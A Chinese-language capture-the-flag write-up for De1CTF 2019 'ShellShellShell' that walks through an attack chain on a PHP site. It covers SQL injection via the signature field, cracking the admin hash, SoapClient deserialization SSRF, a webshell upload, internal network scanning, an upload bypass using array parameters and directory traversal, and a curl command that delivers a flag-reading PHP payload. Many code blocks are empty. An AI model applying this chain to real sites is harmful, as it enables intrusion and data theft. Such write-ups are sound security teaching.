[De1CTF 2019]ShellShellShell
我们将login换成register能进行注册账号
但注册账号我们需要验证码
1 |
|
我们尝试注册admin,发现注册失败,可能后面我们需要登录admin
我们在这先创建一个test账号
登录进来了,我们能在publish处上传emoji表情包
然后不知道咋做了,那我们就扫描目录
我们访问views能看到源码
我们能在里面下载下源码
index.php
1 |
|
user.php
1 |
|
config.php
1 |
|
publish.php
1 |
|
在user.php中,在publish页面传入的signature参数没有做校验,导致signature可控
查看config.php中的insert函数,首先调用get_column()将$values数组用’,’拼接,在通过preg_replace()将两个匹配的’(中间不包含,)替换为’
我们可以构造1`使得
1 | `id`,`name`,`1``,`mood` ==> 'id','name','1'`,'mood' |
提交
1 | 1` |
我们提交
1 | 1`,1)# |
提示ok,说明sql注入存在
我们从user.php中的register函数获得表名和列名
1 | @$ret = $db->insert(array('username','password','ip','is_admin','allow_diff_ip'),'ctf_users',array($username,$password,get_ip(),'0','1')); //No one could be admin except me |
python脚本获取admin密码
1 |
|
跑出来密码的md5为:c991707fdf339958eded91331fb11ba0
网站解密为jaivypassword
我们知道了admin和password,我们登录看看
登录admin后,提示需要本地登录
访问/index.php?action=phpinfo,发现开启soap扩展。SoapClient类内置__call(),触发后可以发送HTTP和HTTPS请求,可用于SSRF。
在user。php的showmess()使用了unserialize,反序列化的内容为ctf_user_signature中的mood列的数据,由于前面功能存在sql注入,导致mood可控
使用另一个浏览器开启一个新的窗口,将新的窗口的cookie及code填入对应位置
1 |
|
使用原来的test用户发布签名
然后刷新刚刚使用那应该浏览器开启的新的窗口,admin登录成功
点击publish,发现文件上传,提示flag在内网
上传图片马,bp修改后缀为php,访问/upload/
使用蚁剑连接,我们执行ifconfig
使用设置蚁剑代理为burp的代理,使用端口扫描插件,扫描10.224.80.227,将抓取到的报文发至intruder,探测C段主机
发现10.244.80.255开启80端口
执行蚁剑终端执行curl http://10.244.80.225/
再执行curl http://10.244.80.225/ > 1.html
,并访问,为php源码
1 |
|
首先判断$ext==$filename[count($filename) - 1]
如果传入file=a.php,$filename将变为
1 |
|
1 | $ext=php,$filename[count($filename) - 1]=$filename[1]=php |
如果post传入数组,先传入file[1]=a,再传入file[0]=php,$filename将变为
1 |
|
end($fileename)即$ext仍为php,但是$filename[1]=a,即可绕过$ext==$filename[count($filename)-1]判断(本质因为是键值对数组)
然后是文件上传改名,可以通过目录穿越绕过,当$ext=/../a.php时(即$file[0]=/../a.php),$new_name=123./../a.php,即上传文件到当前目录,文件名为a.php
1 | $new_name = (string)rand(100,999).".".$ext; |
最后是对要包含的文件的文件内容和文件名进行校验,标签前加@并不影响执行(无视),因为上一步绕过文件上传,将a.php上传到当前目录,所以传入hello=a.php,并不等于$new_name。
1 | $_ = $_POST['hello']; |
在之前admin的文件上传页面上传a.php,内容为
1 | @echo `find /etc -name *flag* -exec cat {} +`; |
利用Postman生成curl命令,实际使用时删除postman生成的file参数中a.php的前缀
在蚁剑终端执行curl命令发送post请求
1 | curl --location --request POST 'http://10.244.80.225' --form 'file=@"a.php"' --form 'hello="a.php"' --form 'file[1]="111"' --form 'file[2]="222"' --form 'file[0]="/../a.php"' |
参考